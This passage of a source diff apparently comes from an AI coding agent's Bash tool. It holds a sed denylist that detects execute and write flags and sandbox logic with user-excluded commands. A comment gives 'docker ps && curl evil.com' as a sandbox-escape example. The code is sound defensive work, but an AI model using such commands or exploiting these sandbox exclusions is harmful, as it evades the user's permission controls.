+        i++ // Skip the next argument since it's the expression
+        continue
+      }
+
+      // Handle --expression=value format
+      if (arg.startsWith('--expression=')) {
+        hasEFlag = true
+        continue
+      }
+
+      // Handle -e=value format (non-standard but defense in depth)
+      if (arg.startsWith('-e=')) {
+        hasEFlag = true
+        continue
+      }
+
+      // Skip other flags
+      if (arg.startsWith('-')) continue
+
+      argCount++
+
+      // If we used -e flags, ALL non-flag arguments are file arguments
+      if (hasEFlag) {
+        return true
+      }
+
+      // If we didn't use -e flags, the first non-flag argument is the sed expression,
+      // so we need more than 1 non-flag argument to have file arguments
+      if (argCount > 1) {
+        return true
+      }
+    }
+
+    return false
+  } catch (_error) {
+    return true // Assume dangerous if parsing fails
+  }
+}
+
+/**
+ * Extract sed expressions from command, ignoring flags and filenames
+ * @param command Full sed command
+ * @returns Array of sed expressions to check for dangerous operations
+ * @throws Error if parsing fails
+ * @internal Exported for testing
+ */
+export function extractSedExpressions(command: string): string[] {
+  const expressions: string[] = []
+
+  // Calculate withoutSed by trimming off the first N characters (removing 'sed ')
+  const sedMatch = command.match(/^\s*sed\s+/)
+  if (!sedMatch) return expressions
+
+  const withoutSed = command.slice(sedMatch[0].length)
+
+  // Reject dangerous flag combinations like -ew, -eW, -ee, -we (combined -e/-w with dangerous commands)
+  if (/-e[wWe]/.test(withoutSed) || /-w[eE]/.test(withoutSed)) {
+    throw new Error('Dangerous flag combination detected')
+  }
+
+  // Use shell-quote to parse the arguments properly
+  const parseResult = tryParseShellCommand(withoutSed)
+  if (!parseResult.success) {
+    // Malformed shell syntax - throw error to be caught by caller
+    throw new Error(`Malformed shell syntax: ${parseResult.error}`)
+  }
+  const parsed = parseResult.tokens
+  try {
+    let foundEFlag = false
+    let foundExpression = false
+
+    for (let i = 0; i < parsed.length; i++) {
+      const arg = parsed[i]
+
+      // Skip non-string arguments (like control operators)
+      if (typeof arg !== 'string') continue
+
+      // Handle -e flag followed by expression
+      if ((arg === '-e' || arg === '--expression') && i + 1 < parsed.length) {
+        foundEFlag = true
+        const nextArg = parsed[i + 1]
+        if (typeof nextArg === 'string') {
+          expressions.push(nextArg)
+          i++ // Skip the next argument since we consumed it
+        }
+        continue
+      }
+
+      // Handle --expression=value format
+      if (arg.startsWith('--expression=')) {
+        foundEFlag = true
+        expressions.push(arg.slice('--expression='.length))
+        continue
+      }
+
+      // Handle -e=value format (non-standard but defense in depth)
+      if (arg.startsWith('-e=')) {
+        foundEFlag = true
+        expressions.push(arg.slice('-e='.length))
+        continue
+      }
+
+      // Skip other flags
+      if (arg.startsWith('-')) continue
+
+      // If we haven't found any -e flags, the first non-flag argument is the sed expression
+      if (!foundEFlag && !foundExpression) {
+        expressions.push(arg)
+        foundExpression = true
+        continue
+      }
+
+      // If we've already found -e flags or a standalone expression,
+      // remaining non-flag arguments are filenames
+      break
+    }
+  } catch (error) {
+    // If shell-quote parsing fails, treat the sed command as unsafe
+    throw new Error(
+      `Failed to parse sed command: ${error instanceof Error ? error.message : 'Unknown error'}`,
+    )
+  }
+
+  return expressions
+}
+
+/**
+ * Check if a sed expression contains dangerous operations (denylist)
+ * @param expression Single sed expression (without quotes)
+ * @returns true if dangerous, false if safe
+ */
+function containsDangerousOperations(expression: string): boolean {
+  const cmd = expression.trim()
+  if (!cmd) return false
+
+  // CONSERVATIVE REJECTIONS: Broadly reject patterns that could be dangerous
+  // When in doubt, treat as unsafe
+
+  // Reject non-ASCII characters (Unicode homoglyphs, combining chars, etc.)
+  // Examples: ｗ (fullwidth), ᴡ (small capital), w̃ (combining tilde)
+  // Check for characters outside ASCII range (0x01-0x7F, excluding null byte)
+  // eslint-disable-next-line no-control-regex
+  if (/[^\x01-\x7F]/.test(cmd)) {
+    return true
+  }
+
+  // Reject curly braces (blocks) - too complex to parse
+  if (cmd.includes('{') || cmd.includes('}')) {
+    return true
+  }
+
+  // Reject newlines - multi-line commands are too complex
+  if (cmd.includes('\n')) {
+    return true
+  }
+
+  // Reject comments (# not immediately after s command)
+  // Comments look like: #comment or start with #
+  // Delimiter looks like: s#pattern#replacement#
+  const hashIndex = cmd.indexOf('#')
+  if (hashIndex !== -1 && !(hashIndex > 0 && cmd[hashIndex - 1] === 's')) {
+    return true
+  }
+
+  // Reject negation operator
+  // Negation can appear: at start (!/pattern/), after address (/pattern/!, 1,10!, $!)
+  // Delimiter looks like: s!pattern!replacement! (has 's' before it)
+  if (/^!/.test(cmd) || /[/\d$]!/.test(cmd)) {
+    return true
+  }
+
+  // Reject tilde in GNU step address format (digit~digit, ,~digit, or $~digit)
+  // Allow whitespace around tilde
+  if (/\d\s*~\s*\d|,\s*~\s*\d|\$\s*~\s*\d/.test(cmd)) {
+    return true
+  }
+
+  // Reject comma at start (bare comma is shorthand for 1,$ address range)
+  if (/^,/.test(cmd)) {
+    return true
+  }
+
+  // Reject comma followed by +/- (GNU offset addresses)
+  if (/,\s*[+-]/.test(cmd)) {
+    return true
+  }
+
+  // Reject backslash tricks:
+  // 1. s\ (substitution with backslash delimiter)
+  // 2. \X where X could be an alternate delimiter (|, #, %, etc.) - not regex escapes
+  if (/s\\/.test(cmd) || /\\[|#%@]/.test(cmd)) {
+    return true
+  }
+
+  // Reject escaped slashes followed by w/W (patterns like /\/path\/to\/file/w)
+  if (/\\\/.*[wW]/.test(cmd)) {
+    return true
+  }
+
+  // Reject malformed/suspicious patterns we don't understand
+  // If there's a slash followed by non-slash chars, then whitespace, then dangerous commands
+  // Examples: /pattern w file, /pattern e cmd, /foo X;w file
+  if (/\/[^/]*\s+[wWeE]/.test(cmd)) {
+    return true
+  }
+
+  // Reject malformed substitution commands that don't follow normal pattern
+  // Examples: s/foobareoutput.txt (missing delimiters), s/foo/bar//w (extra delimiter)
+  if (/^s\//.test(cmd) && !/^s\/[^/]*\/[^/]*\/[^/]*$/.test(cmd)) {
+    return true
+  }
+
+  // PARANOID: Reject any command starting with 's' that ends with dangerous chars (w, W, e, E)
+  // and doesn't match our known safe substitution pattern. This catches malformed s commands
+  // with non-slash delimiters that might be trying to use dangerous flags.
+  if (/^s./.test(cmd) && /[wWeE]$/.test(cmd)) {
+    // Check if it's a properly formed substitution (any delimiter, not just /)
+    const properSubst = /^s([^\\\n]).*?\1.*?\1[^wWeE]*$/.test(cmd)
+    if (!properSubst) {
+      return true
+    }
+  }
+
+  // Check for dangerous write commands
+  // Patterns: [address]w filename, [address]W filename, /pattern/w filename, /pattern/W filename
+  // Simplified to avoid exponential backtracking (CodeQL issue)
+  // Check for w/W in contexts where it would be a command (with optional whitespace)
+  if (
+    /^[wW]\s*\S+/.test(cmd) || // At start: w file
+    /^\d+\s*[wW]\s*\S+/.test(cmd) || // After line number: 1w file or 1 w file
+    /^\$\s*[wW]\s*\S+/.test(cmd) || // After $: $w file or $ w file
+    /^\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) || // After pattern: /pattern/w file
+    /^\d+,\d+\s*[wW]\s*\S+/.test(cmd) || // After range: 1,10w file
+    /^\d+,\$\s*[wW]\s*\S+/.test(cmd) || // After range: 1,$w file
+    /^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*[wW]\s*\S+/.test(cmd) // After pattern range: /s/,/e/w file
+  ) {
+    return true
+  }
+
+  // Check for dangerous execute commands
+  // Patterns: [address]e [command], /pattern/e [command], or commands starting with e
+  // Simplified to avoid exponential backtracking (CodeQL issue)
+  // Check for e in contexts where it would be a command (with optional whitespace)
+  if (
+    /^e/.test(cmd) || // At start: e cmd
+    /^\d+\s*e/.test(cmd) || // After line number: 1e or 1 e
+    /^\$\s*e/.test(cmd) || // After $: $e or $ e
+    /^\/[^/]*\/[IMim]*\s*e/.test(cmd) || // After pattern: /pattern/e
+    /^\d+,\d+\s*e/.test(cmd) || // After range: 1,10e
+    /^\d+,\$\s*e/.test(cmd) || // After range: 1,$e
+    /^\/[^/]*\/[IMim]*,\/[^/]*\/[IMim]*\s*e/.test(cmd) // After pattern range: /s/,/e/e
+  ) {
+    return true
+  }
+
+  // Check for substitution commands with dangerous flags
+  // Pattern: s<delim>pattern<delim>replacement<delim>flags where flags contain w or e
+  // Per POSIX, sed allows any character except backslash and newline as delimiter
+  const substitutionMatch = cmd.match(/s([^\\\n]).*?\1.*?\1(.*?)$/)
+  if (substitutionMatch) {
+    const flags = substitutionMatch[2] || ''
+
+    // Check for write flag: s/old/new/w filename or s/old/new/gw filename
+    if (flags.includes('w') || flags.includes('W')) {
+      return true
+    }
+
+    // Check for execute flag: s/old/new/e or s/old/new/ge
+    if (flags.includes('e') || flags.includes('E')) {
+      return true
+    }
+  }
+
+  // Check for y (transliterate) command followed by dangerous operations
+  // Pattern: y<delim>source<delim>dest<delim> followed by anything
+  // The y command uses same delimiter syntax as s command
+  // PARANOID: Reject any y command that has w/W/e/E anywhere after the delimiters
+  const yCommandMatch = cmd.match(/y([^\\\n])/)
+  if (yCommandMatch) {
+    // If we see a y command, check if there's any w, W, e, or E in the entire command
+    // This is paranoid but safe - y commands are rare and w/e after y is suspicious
+    if (/[wWeE]/.test(cmd)) {
+      return true
+    }
+  }
+
+  return false
+}
+
+/**
+ * Cross-cutting validation step for sed commands.
+ *
+ * This is a constraint check that blocks dangerous sed operations regardless of mode.
+ * It returns 'passthrough' for non-sed commands or safe sed commands,
+ * and 'ask' for dangerous sed operations (w/W/e/E commands).
+ *
+ * @param input - Object containing the command string
+ * @param toolPermissionContext - Context containing mode and permissions
+ * @returns
+ * - 'ask' if any sed command contains dangerous operations
+ * - 'passthrough' if no sed commands or all are safe
+ */
+export function checkSedConstraints(
+  input: { command: string },
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult {
+  const commands = splitCommand_DEPRECATED(input.command)
+
+  for (const cmd of commands) {
+    // Skip non-sed commands
+    const trimmed = cmd.trim()
+    const baseCmd = trimmed.split(/\s+/)[0]
+    if (baseCmd !== 'sed') {
+      continue
+    }
+
+    // In acceptEdits mode, allow file writes (-i flag) but still block dangerous operations
+    const allowFileWrites = toolPermissionContext.mode === 'acceptEdits'
+
+    const isAllowed = sedCommandIsAllowedByAllowlist(trimmed, {
+      allowFileWrites,
+    })
+
+    if (!isAllowed) {
+      return {
+        behavior: 'ask',
+        message:
+          'sed command requires approval (contains potentially dangerous operations)',
+        decisionReason: {
+          type: 'other',
+          reason:
+            'sed command contains operations that require explicit approval (e.g., write commands, execute commands)',
+        },
+      }
+    }
+  }
+
+  // No dangerous sed commands found (or no sed commands at all)
+  return {
+    behavior: 'passthrough',
+    message: 'No dangerous sed operations detected',
+  }
+}

src/tools/BashTool/shouldUseSandbox.ts

@@ -0,0 +1,153 @@
+import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
+import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'
+import {
+  BINARY_HIJACK_VARS,
+  bashPermissionRule,
+  matchWildcardPattern,
+  stripAllLeadingEnvVars,
+  stripSafeWrappers,
+} from './bashPermissions.js'
+
+type SandboxInput = {
+  command?: string
+  dangerouslyDisableSandbox?: boolean
+}
+
+// NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.
+// It is not a security bug to be able to bypass excludedCommands — the sandbox permission
+// system (which prompts users) is the actual security control.
+function containsExcludedCommand(command: string): boolean {
+  // Check dynamic config for disabled commands and substrings (only for ants)
+  if (process.env.USER_TYPE === 'ant') {
+    const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{
+      commands: string[]
+      substrings: string[]
+    }>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
+
+    // Check if command contains any disabled substrings
+    for (const substring of disabledCommands.substrings) {
+      if (command.includes(substring)) {
+        return true
+      }
+    }
+
+    // Check if command starts with any disabled commands
+    try {
+      const commandParts = splitCommand_DEPRECATED(command)
+      for (const part of commandParts) {
+        const baseCommand = part.trim().split(' ')[0]
+        if (baseCommand && disabledCommands.commands.includes(baseCommand)) {
+          return true
+        }
+      }
+    } catch {
+      // If we can't parse the command (e.g., malformed bash syntax),
+      // treat it as not excluded to allow other validation checks to handle it
+      // This prevents crashes when rendering tool use messages
+    }
+  }
+
+  // Check user-configured excluded commands from settings
+  const settings = getSettings_DEPRECATED()
+  const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
+
+  if (userExcludedCommands.length === 0) {
+    return false
+  }
+
+  // Split compound commands (e.g. "docker ps && curl evil.com") into individual
+  // subcommands and check each one against excluded patterns. This prevents a
+  // compound command from escaping the sandbox just because its first subcommand
+  // matches an excluded pattern.
+  let subcommands: string[]
+  try {
+    subcommands = splitCommand_DEPRECATED(command)
+  } catch {
+    subcommands = [command]
+  }
+
+  for (const subcommand of subcommands) {
+    const trimmed = subcommand.trim()
+    // Also try matching with env var prefixes and wrapper commands stripped, so
+    // that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a
+    // security boundary (see NOTE at top); the &&-split above already lets
+    // `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic.
+    //
+    // We iteratively apply both stripping operations until no new candidates are
+    // produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput.
+    // This handles interleaved patterns like `timeout 300 FOO=bar bazel run`
+    // where single-pass composition would fail.
+    const candidates = [trimmed]
+    const seen = new Set(candidates)
+    let startIdx = 0
+    while (startIdx < candidates.length) {
+      const endIdx = candidates.length
+      for (let i = startIdx; i < endIdx; i++) {
+        const cmd = candidates[i]!
+        const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
+        if (!seen.has(envStripped)) {
+          candidates.push(envStripped)
+          seen.add(envStripped)
+        }
+        const wrapperStripped = stripSafeWrappers(cmd)
+        if (!seen.has(wrapperStripped)) {
+          candidates.push(wrapperStripped)
+          seen.add(wrapperStripped)
+        }
+      }
+      startIdx = endIdx
+    }
+
+    for (const pattern of userExcludedCommands) {
+      const rule = bashPermissionRule(pattern)
+      for (const cand of candidates) {
+        switch (rule.type) {
+          case 'prefix':
+            if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) {
+              return true
+            }
+            break
+          case 'exact':
+            if (cand === rule.command) {
+              return true
+            }
+            break
+          case 'wildcard':
+            if (matchWildcardPattern(rule.pattern, cand)) {
+              return true
+            }
+            break
+        }
+      }
+    }
+  }
+
+  return false
+}
+
+export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
+  if (!SandboxManager.isSandboxingEnabled()) {
+    return false
+  }
+
+  // Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy
+  if (
+    input.dangerouslyDisableSandbox &&
+    SandboxManager.areUnsandboxedCommandsAllowed()
+  ) {
+    return false
+  }
+
+  if (!input.command) {
+    return false
+  }
+
+  // Don't sandbox if the command contains user-configured excluded commands
+  if (containsExcludedCommand(input.command)) {
+    return false
+  }
+
+  return true
+}

src/tools/BashTool/toolName.ts

@@ -0,0 +1,2 @@
+// Here to break circular dependency from prompt.ts
+export const BASH_TOOL_NAME = 'Bash'

src/tools/BashTool/utils.ts

@@ -0,0 +1,223 @@
+import type {
+  Base64ImageSource,
+  ContentBlockParam,
+  ToolResultBlockParam,
+} from '@anthropic-ai/sdk/resources/index.mjs'
+import { readFile, stat } from 'fs/promises'
+import { getOriginalCwd } from 'src/bootstrap/state.js'
+import { logEvent } from 'src/services/analytics/index.js'
+import type { ToolPermissionContext } from 'src/Tool.js'
+import { getCwd } from 'src/utils/cwd.js'
+import { pathInAllowedWorkingPath } from 'src/utils/permissions/filesystem.js'
+import { setCwd } from 'src/utils/Shell.js'
+import { shouldMaintainProjectWorkingDir } from '../../utils/envUtils.js'
+import { maybeResizeAndDownsampleImageBuffer } from '../../utils/imageResizer.js'
+import { getMaxOutputLength } from '../../utils/shell/outputLimits.js'
+import { countCharInString, plural } from '../../utils/stringUtils.js'
+/**
+ * Strips leading and trailing lines that contain only whitespace/newlines.
+ * Unlike trim(), this preserves whitespace within content lines and only removes
+ * completely empty lines from the beginning and end.
+ */
+export function stripEmptyLines(content: string): string {
+  const lines = content.split('\n')
+
+  // Find the first non-empty line
+  let startIndex = 0
+  while (startIndex < lines.length && lines[startIndex]?.trim() === '') {
+    startIndex++
+  }
+
+  // Find the last non-empty line
+  let endIndex = lines.length - 1
+  while (endIndex >= 0 && lines[endIndex]?.trim() === '') {
+    endIndex--
+  }
+
+  // If all lines are empty, return empty string
+  if (startIndex > endIndex) {
+    return ''
+  }
+
+  // Return the slice with non-empty lines
+  return lines.slice(startIndex, endIndex + 1).join('\n')
+}
+
+/**
+ * Check if content is a base64 encoded image data URL
+ */
+export function isImageOutput(content: string): boolean {
+  return /^data:image\/[a-z0-9.+_-]+;base64,/i.test(content)
+}
+
+const DATA_URI_RE = /^data:([^;]+);base64,(.+)$/
+
+/**
+ * Parse a data-URI string into its media type and base64 payload.
+ * Input is trimmed before matching.
+ */
+export function parseDataUri(
+  s: string,
+): { mediaType: string; data: string } | null {
+  const match = s.trim().match(DATA_URI_RE)
+  if (!match || !match[1] || !match[2]) return null
+  return { mediaType: match[1], data: match[2] }
+}
+
+/**
+ * Build an image tool_result block from shell stdout containing a data URI.
+ * Returns null if parse fails so callers can fall through to text handling.
+ */
+export function buildImageToolResult(
+  stdout: string,
+  toolUseID: string,
+): ToolResultBlockParam | null {
+  const parsed = parseDataUri(stdout)
+  if (!parsed) return null
+  return {
+    tool_use_id: toolUseID,
+    type: 'tool_result',
+    content: [
+      {
+        type: 'image',
+        source: {
+          type: 'base64',
+          media_type: parsed.mediaType as Base64ImageSource['media_type'],
+          data: parsed.data,
+        },
+      },
+    ],
+  }
+}
+
+// Cap file reads to 20 MB — any image data URI larger than this is
+// well beyond what the API accepts (5 MB base64) and would OOM if read
+// into memory.
+const MAX_IMAGE_FILE_SIZE = 20 * 1024 * 1024
+
+/**
+ * Resize image output from a shell tool. stdout is capped at
+ * getMaxOutputLength() when read back from the shell output file — if the
+ * full output spilled to disk, re-read it from there, since truncated base64
+ * would decode to a corrupt image that either throws here or gets rejected by
+ * the API. Caps dimensions too: compressImageBuffer only checks byte size, so
+ * a small-but-high-DPI PNG (e.g. matplotlib at dpi=300) sails through at full
+ * resolution and poisons many-image requests (CC-304).
+ *
+ * Returns the re-encoded data URI on success, or null if the source didn't
+ * parse as a data URI (caller decides whether to flip isImage).
+ */
+export async function resizeShellImageOutput(
+  stdout: string,
+  outputFilePath: string | undefined,
+  outputFileSize: number | undefined,
+): Promise<string | null> {
+  let source = stdout
+  if (outputFilePath) {
+    const size = outputFileSize ?? (await stat(outputFilePath)).size
+    if (size > MAX_IMAGE_FILE_SIZE) return null
+    source = await readFile(outputFilePath, 'utf8')
+  }
+  const parsed = parseDataUri(source)
+  if (!parsed) return null
+  const buf = Buffer.from(parsed.data, 'base64')
+  const ext = parsed.mediaType.split('/')[1] || 'png'
+  const resized = await maybeResizeAndDownsampleImageBuffer(
+    buf,
+    buf.length,
+    ext,
+  )
+  return `data:image/${resized.mediaType};base64,${resized.buffer.toString('base64')}`
+}
+
+export function formatOutput(content: string): {
+  totalLines: number
+  truncatedContent: string
+  isImage?: boolean
+} {
+  const isImage = isImageOutput(content)
+  if (isImage) {
+    return {
+      totalLines: 1,
+      truncatedContent: content,
+      isImage,
+    }
+  }
+
+  const maxOutputLength = getMaxOutputLength()
+  if (content.length <= maxOutputLength) {
+    return {
+      totalLines: countCharInString(content, '\n') + 1,
+      truncatedContent: content,
+      isImage,
+    }
+  }
+
+  const truncatedPart = content.slice(0, maxOutputLength)
+  const remainingLines = countCharInString(content, '\n', maxOutputLength) + 1
+  const truncated = `${truncatedPart}\n\n... [${remainingLines} lines truncated] ...`
+
+  return {
+    totalLines: countCharInString(content, '\n') + 1,
+    truncatedContent: truncated,
+    isImage,
+  }
+}
+
+export const stdErrAppendShellResetMessage = (stderr: string): string =>
+  `${stderr.trim()}\nShell cwd was reset to ${getOriginalCwd()}`
+
+export function resetCwdIfOutsideProject(
+  toolPermissionContext: ToolPermissionContext,
+): boolean {
+  const cwd = getCwd()
+  const originalCwd = getOriginalCwd()
+  const shouldMaintain = shouldMaintainProjectWorkingDir()
+  if (
+    shouldMaintain ||
+    // Fast path: originalCwd is unconditionally in allWorkingDirectories
+    // (filesystem.ts), so when cwd hasn't moved, pathInAllowedWorkingPath is
+    // trivially true — skip its syscalls for the no-cd common case.
+    (cwd !== originalCwd &&
+      !pathInAllowedWorkingPath(cwd, toolPermissionContext))
+  ) {
+    // Reset to original directory if maintaining project dir OR outside allowed working directory
+    setCwd(originalCwd)
+    if (!shouldMaintain) {
+      logEvent('tengu_bash_tool_reset_to_original_dir', {})
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Creates a human-readable summary of structured content blocks.
+ * Used to display MCP results with images and text in the UI.
+ */
+export function createContentSummary(content: ContentBlockParam[]): string {
+  const parts: string[] = []
+  let textCount = 0
+  let imageCount = 0
+
+  for (const block of content) {
+    if (block.type === 'image') {
+      imageCount++
+    } else if (block.type === 'text' && 'text' in block) {
+      textCount++
+      // Include first 200 chars of text blocks for context
+      const preview = block.text.slice(0, 200)
+      parts.push(preview + (block.text.length > 200 ? '...' : ''))
+    }
+  }
+
+  const summary: string[] = []
+  if (imageCount > 0) {
+    summary.push(`[${imageCount} ${plural(imageCount, 'image')}]`)
+  }
+  if (textCount > 0) {
+    summary.push(`[${textCount} text ${plural(textCount, 'block')}]`)
+  }
+
+  return `MCP Result: ${summary.join(', ')}${parts.length > 0 ? '\n\n' + parts.join('\n\n') : ''}`
+}

src/tools/BriefTool/BriefTool.ts

@@ -0,0 +1,204 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import { getKairosActive, getUserMsgOptIn } from '../../bootstrap/state.js'
+import { getFeatureValue_CACHED_WITH_REFRESH } from '../../services/analytics/growthbook.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { ValidationResult } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { plural } from '../../utils/stringUtils.js'
+import { resolveAttachments, validateAttachmentPaths } from './attachments.js'
+import {
+  BRIEF_TOOL_NAME,
+  BRIEF_TOOL_PROMPT,
+  DESCRIPTION,
+  LEGACY_BRIEF_TOOL_NAME,
+} from './prompt.js'
+import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    message: z
+      .string()
+      .describe('The message for the user. Supports markdown formatting.'),
+    attachments: z
+      .array(z.string())
+      .optional()
+      .describe(
+        'Optional file paths (absolute or relative to cwd) to attach. Use for photos, screenshots, diffs, logs, or any file the user should see alongside your message.',
+      ),
+    status: z
+      .enum(['normal', 'proactive'])
+      .describe(
+        "Use 'proactive' when you're surfacing something the user hasn't asked for and needs to see now — task completion while they're away, a blocker you hit, an unsolicited status update. Use 'normal' when replying to something the user just said.",
+      ),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+// attachments MUST remain optional — resumed sessions replay pre-attachment
+// outputs verbatim and a required field would crash the UI renderer on resume.
+const outputSchema = lazySchema(() =>
+  z.object({
+    message: z.string().describe('The message'),
+    attachments: z
+      .array(
+        z.object({
+          path: z.string(),
+          size: z.number(),
+          isImage: z.boolean(),
+          file_uuid: z.string().optional(),
+        }),
+      )
+      .optional()
+      .describe('Resolved attachment metadata'),
+    sentAt: z
+      .string()
+      .optional()
+      .describe(
+        'ISO timestamp captured at tool execution on the emitting process. Optional — resumed sessions replay pre-sentAt outputs verbatim.',
+      ),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+const KAIROS_BRIEF_REFRESH_MS = 5 * 60 * 1000
+
+/**
+ * Entitlement check — is the user ALLOWED to use Brief? Combines build-time
+ * flags with runtime GB gate + assistant-mode passthrough. No opt-in check
+ * here — this decides whether opt-in should be HONORED, not whether the user
+ * has opted in.
+ *
+ * Build-time OR-gated on KAIROS || KAIROS_BRIEF (same pattern as
+ * PROACTIVE || KAIROS): assistant mode depends on Brief, so KAIROS alone
+ * must bundle it. KAIROS_BRIEF lets Brief ship independently.
+ *
+ * Use this to decide whether `--brief` / `defaultView: 'chat'` / `--tools`
+ * listing should be honored. Use `isBriefEnabled()` to decide whether the
+ * tool is actually active in the current session.
+ *
+ * CLAUDE_CODE_BRIEF env var force-grants entitlement for dev/testing —
+ * bypasses the GB gate so you can test without being enrolled. Still
+ * requires an opt-in action to activate (--brief, defaultView, etc.), but
+ * the env var alone also sets userMsgOptIn via maybeActivateBrief().
+ */
+export function isBriefEntitled(): boolean {
+  // Positive ternary — see docs/feature-gating.md. Negative early-return
+  // would not eliminate the GB gate string from external builds.
+  return feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? getKairosActive() ||
+        isEnvTruthy(process.env.CLAUDE_CODE_BRIEF) ||
+        getFeatureValue_CACHED_WITH_REFRESH(
+          'tengu_kairos_brief',
+          false,
+          KAIROS_BRIEF_REFRESH_MS,
+        )
+    : false
+}
+
+/**
+ * Unified activation gate for the Brief tool. Governs model-facing behavior
+ * as a unit: tool availability, system prompt section (getBriefSection),
+ * tool-deferral bypass (isDeferredTool), and todo-nag suppression.
+ *
+ * Activation requires explicit opt-in (userMsgOptIn) set by one of:
+ *   - `--brief` CLI flag (maybeActivateBrief in main.tsx)
+ *   - `defaultView: 'chat'` in settings (main.tsx init)
+ *   - `/brief` slash command (brief.ts)
+ *   - `/config` defaultView picker (Config.tsx)
+ *   - SendUserMessage in `--tools` / SDK `tools` option (main.tsx)
+ *   - CLAUDE_CODE_BRIEF env var (maybeActivateBrief — dev/testing bypass)
+ * Assistant mode (kairosActive) bypasses opt-in since its system prompt
+ * hard-codes "you MUST use SendUserMessage" (systemPrompt.md:14).
+ *
+ * The GB gate is re-checked here as a kill-switch AND — flipping
+ * tengu_kairos_brief off mid-session disables the tool on the next 5-min
+ * refresh even for opted-in sessions. No opt-in → always false regardless
+ * of GB (this is the fix for "brief defaults on for enrolled ants").
+ *
+ * Called from Tool.isEnabled() (lazy, post-init), never at module scope.
+ * getKairosActive() and getUserMsgOptIn() are set in main.tsx before any
+ * caller reaches here.
+ */
+export function isBriefEnabled(): boolean {
+  // Top-level feature() guard is load-bearing for DCE: Bun can constant-fold
+  // the ternary to `false` in external builds and then dead-code the BriefTool
+  // object. Composing isBriefEntitled() alone (which has its own guard) is
+  // semantically equivalent but defeats constant-folding across the boundary.
+  return feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? (getKairosActive() || getUserMsgOptIn()) && isBriefEntitled()
+    : false
+}
+
+export const BriefTool = buildTool({
+  name: BRIEF_TOOL_NAME,
+  aliases: [LEGACY_BRIEF_TOOL_NAME],
+  searchHint:
+    'send a message to the user — your primary visible output channel',
+  maxResultSizeChars: 100_000,
+  userFacingName() {
+    return ''
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  isEnabled() {
+    return isBriefEnabled()
+  },
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly() {
+    return true
+  },
+  toAutoClassifierInput(input) {
+    return input.message
+  },
+  async validateInput({ attachments }, _context): Promise<ValidationResult> {
+    if (!attachments || attachments.length === 0) {
+      return { result: true }
+    }
+    return validateAttachmentPaths(attachments)
+  },
+  async description() {
+    return DESCRIPTION
+  },
+  async prompt() {
+    return BRIEF_TOOL_PROMPT
+  },
+  mapToolResultToToolResultBlockParam(output, toolUseID) {
+    const n = output.attachments?.length ?? 0
+    const suffix = n === 0 ? '' : ` (${n} ${plural(n, 'attachment')} included)`
+    return {
+      tool_use_id: toolUseID,
+      type: 'tool_result',
+      content: `Message delivered to user.${suffix}`,
+    }
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  async call({ message, attachments, status }, context) {
+    const sentAt = new Date().toISOString()
+    logEvent('tengu_brief_send', {
+      proactive: status === 'proactive',
+      attachment_count: attachments?.length ?? 0,
+    })
+    if (!attachments || attachments.length === 0) {
+      return { data: { message, sentAt } }
+    }
+    const appState = context.getAppState()
+    const resolved = await resolveAttachments(attachments, {
+      replBridgeEnabled: appState.replBridgeEnabled,
+      signal: context.abortController.signal,
+    })
+    return {
+      data: { message, attachments: resolved, sentAt },
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/BriefTool/UI.tsx

@@ -0,0 +1,101 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import React from 'react';
+import { Markdown } from '../../components/Markdown.js';
+import { BLACK_CIRCLE } from '../../constants/figures.js';
+import { Box, Text } from '../../ink.js';
+import type { ProgressMessage } from '../../types/message.js';
+import { getDisplayPath } from '../../utils/file.js';
+import { formatFileSize } from '../../utils/format.js';
+import { formatBriefTimestamp } from '../../utils/formatBriefTimestamp.js';
+import type { Output } from './BriefTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return '';
+}
+export function renderToolResultMessage(output: Output, _progressMessages: ProgressMessage[], options?: {
+  isTranscriptMode?: boolean;
+  isBriefOnly?: boolean;
+}): React.ReactNode {
+  const hasAttachments = (output.attachments?.length ?? 0) > 0;
+  if (!output.message && !hasAttachments) {
+    return null;
+  }
+
+  // In transcript mode (ctrl+o), model text is NOT filtered — keep the ⏺ so
+  // SendUserMessage is visually distinct from the surrounding text blocks.
+  if (options?.isTranscriptMode) {
+    return <Box flexDirection="row" marginTop={1}>
+        <Box minWidth={2}>
+          <Text color="text">{BLACK_CIRCLE}</Text>
+        </Box>
+        <Box flexDirection="column">
+          {output.message ? <Markdown>{output.message}</Markdown> : null}
